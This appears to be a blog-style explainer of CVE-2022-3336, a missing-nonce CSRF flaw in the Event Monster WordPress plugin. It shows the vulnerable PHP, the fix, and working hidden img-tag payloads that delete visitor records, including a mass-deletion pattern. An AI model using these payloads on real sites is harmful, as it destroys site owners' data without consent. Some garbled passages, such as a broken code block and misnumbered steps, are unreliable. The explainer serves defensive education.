The world of WordPress plugins is massive. For website owners, plugins add valuable features, but for attackers, they sometimes open doors to abuse. In 2022, a serious issue was discovered in the widely-used Event Monster plugin, tracked as CVE-2022-3336. This long read will explain—using plain language—how this vulnerability works, why it’s so serious, and how attackers might exploit it.

What’s the Event Monster Plugin?

Event Monster is a WordPress plugin that helps site owners manage events and visitors. It lets admins create event listings and track who’s coming.

What’s CVE-2022-3336 All About?

In versions before 1.2., the Event Monster plugin had a serious problem: no CSRF (Cross-Site Request Forgery) protection on the "delete visitor" action. This means any logged-in WordPress admin could be tricked—by just visiting a web page—into deleting visitors from their event list, without their knowledge.

Breaking it Down: What is CSRF?

CSRF (Cross-Site Request Forgery) is a fancy way of saying “tricking a logged-in user into making an action they didn’t intend, just because they’re authenticated in their browser.” No malware required, just bad web code and a bit of social engineering.

A good plugin includes a “nonce” (a unique security token) in every form or request that changes something. The server checks that nonce before making changes. But in versions before 1.2., Event Monster forgot this check when deleting visitors.

Here’s a simplified version of what was happening, based on the plugin’s PHP code

// In the vulnerable plugin version:

if( isset($_GET['delete_visitor']) ) {
    $visitor_id = intval($_GET['delete_visitor']);
    delete_visitor($visitor_id);
    // No CSRF (nonce) check!
}

There should have been a check like this

if( isset($_GET['delete_visitor']) && check_admin_referer('delete_visitor_action') ) {
    // Proceed safely
}

But in the real code before v1.2., it was missing, making it wide open for CSRF.

How Could an Attacker Use This?

Let’s imagine Anna is a WordPress admin who manages event signups. She’s also logged into her WordPress dashboard.

`html

https://victimsite.com/wp-admin/admin.php?page=event-monster&delete_visitor=7" style="display:none">

Anna visits the attacker's page (maybe she clicks a link in an email or on a Facebook post).

3. Her browser sends the request _with her WordPress admin session_ to her own site, instructing it to delete visitor ID 7.

What Damage Could This Cause?

- Loss of critical visitor/event data.
- Potential for more complex attacks: Combining CSRF with social engineering or enumeration of visitor IDs could result in mass data wipeouts.

How Was It Fixed?

The Event Monster team released version 1.2. including proper CSRF nonce checks before any data-deleting actions. The new code requires that a valid “nonce” token is passed, and will deny the request if it’s missing or invalid.

This is purely for educational purposes.

<!-- Imagine this is on an attacker's site. -->
<img src="https://example.com/wp-admin/admin.php?page=event-monster&delete_visitor=1"; style="display:none">

If a logged-in WP admin visits this page, and is running a vulnerable version, visitor ID 1 will be gone.

Automating mass deletions could be done with simple JavaScript or multiple requests

<img src="https://example.com/wp-admin/admin.php?page=event-monster&delete_visitor=1"; style="display:none">
<img src="https://example.com/wp-admin/admin.php?page=event-monster&delete_visitor=2"; style="display:none">
<!-- ...and so on -->

Mitigation

- Update to Event Monster v1.2. or later immediately. (Changelog here)

References & Further Reading

- NVD Entry for CVE-2022-3336
- WPScan Advisory
- WordPress Plugin Directory - Event Monster
- OWASP: What is CSRF?

Final Thoughts

Even a simple miss like leaving out a CSRF check can have real consequences. If you run WordPress sites, keep your plugins up to date, and if you’re a developer, always use wp_nonce_field() and related functions for any action that can change site data.

Stay safe, and always think before you click!

Exclusive analysis by ChatGPT (2024). If you learned something new, share this post with your fellow admins.

Timeline

Published on: 11/21/2022 11:15:00 UTC
Last modified on: 11/23/2022 15:50:00 UTC